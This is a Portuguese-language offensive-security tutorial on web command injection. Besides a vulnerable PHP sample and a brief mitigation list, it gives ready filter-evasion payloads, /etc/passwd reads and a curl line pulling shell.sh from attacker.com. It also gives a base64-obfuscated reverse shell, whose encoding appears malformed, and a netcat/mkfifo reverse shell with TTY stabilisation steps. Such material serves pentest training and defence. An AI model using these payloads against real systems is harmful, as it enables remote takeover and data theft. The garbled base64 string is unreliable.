Offensive Security11 min de leitura• Publicado em 2026-09-03

Command Injection em Aplicações Web: Técnicas de Exploração e Bypass de Filtros

#command-injection#rce#linux#evasion#bash

Command Injection (ou injeção de comandos de SO) ocorre quando uma aplicação web repassa dados fornecidos pelo usuário para um interpretador de sistema (como bash, sh ou cmd.exe) através de funções como system(), exec() ou popen() sem higienização estrita. A consequência imediata costuma ser o comprometimento total do host através de um acesso inicial como usuário do servidor web (ex: www-data).

§1. Como Funciona a Quebra de Contexto

A aplicação pretende executar um comando pré-definido (por exemplo, testar conectividade de rede com ping ou converter imagens com imagemagick). Se a concatenação for crua, operadores de controle do shell permitem encadear comandos novos.

  • Ponto e vírgula (;): Executa comandos em sequência independentemente do resultado.
  • AND Lógico (&&): Executa o próximo comando apenas se o anterior retornar status 0 (sucesso).
  • OR Lógico (||): Executa o segundo comando caso o primeiro falhe.
  • Pipe (|): Envia a saída padrão do primeiro comando como entrada do segundo.
  • Subshell ($() ou backticks ``): Executa o comando interno e insere a saída na linha atual.
terminal / payload
php
// Código vulnerável em PHP:
$ip = $_GET['ip'];
$output = shell_exec("ping -c 1 " . $ip);
echo "<pre>$output</pre>";

§2. Evasão e Bypass de Blacklists Comuns

É comum encontrar filtros rudimentares tentando bloquear espaços em branco ou palavras-chave conhecidas (cat, sh, bash). Abaixo estão técnicas consagradas para burlar restrições.

terminal / payload
bash
# 1. Bypass de Espaços em Branco no Linux:
# Utilizando a variável de ambiente $IFS (Internal Field Separator):
cat$IFS/etc/passwd
curl$IFS$9attacker.com/shell.sh

# Utilizando chaves de agrupamento (Brace Expansion):
{cat,/etc/passwd}

# 2. Bypass de palavras proibidas (cat, flag, passwd):
# Concatenação de strings vazias:
c''a""t /et'c'/pas''swd

# Utilizando wildcard (? ou *):
/bin/c?t /etc/pass*
/usr/bin/p*th*n3 -c '...'

# 3. Entrega de Payload Ofuscado via Base64:
echo$IFS'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzkMDAxIDA+JjE='|base64$IFS-d|bash

Em desafios de CTF e ambientes restritos, variáveis como $PATH e caracteres de expansão como ${PATH:0:1} (que gera a barra '/') são fundamentais quando '/' está bloqueado.

§3. Obtenção de Shell Interativa e TTY Sanitizado

Após obter execução inicial via webshell ou injeção cega, o próximo passo operacional é estabelecer uma sessão de reverse shell com TTY estável para viabilizar pós-exploração sem travamentos:

terminal / payload
bash
# 1. No host atacante (listen):
nc -lvnp 4444

# 2. Payload enviado no alvo:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f

# 3. Upgrade imediato para TTY completo:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Pressione Ctrl + Z para suspender o netcat
stty raw -echo; fg
export TERM=xterm-256color
export SHELL=bash

Prevenção e Mitigação Recomendada

  • Evitar a execução de comandos de sistema através de chamadas de shell. Utilizar APIs nativas da linguagem de programação.
  • Se for inevitável, utilizar bibliotecas que executem o binário diretamente sem instanciar um shell interpretador (ex: subprocess.run(['/bin/ping', '-c', '1', ip]) em Python, onde shell=False por padrão).
  • Implementar listas brancas (whitelists) estritas de caracteres aceitos (ex: expressões regulares permitindo apenas caracteres alfanuméricos e pontos para endereços IP).
  • Executar o processo da aplicação em containers isolados com o mínimo de binários disponíveis no sistema operacional.

Conclusão Técnica

A filtragem de caracteres baseada em listas negras invariavelmente falha devido à rica sintaxe dos interpretadores POSIX. Trate o problema na arquitetura, nunca permitindo que entrada externa atinja um interpretador de comandos.